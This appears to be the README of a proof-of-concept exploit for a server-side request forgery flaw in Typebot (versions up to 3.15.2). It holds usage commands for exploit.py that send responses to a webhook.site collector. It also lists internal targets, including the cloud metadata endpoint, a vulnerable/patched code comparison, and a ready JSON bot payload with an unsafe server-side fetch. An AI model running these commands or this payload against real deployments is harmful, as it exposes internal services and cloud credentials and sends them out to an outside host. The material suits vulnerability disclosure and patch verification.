pip install -r requirements.txt

# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}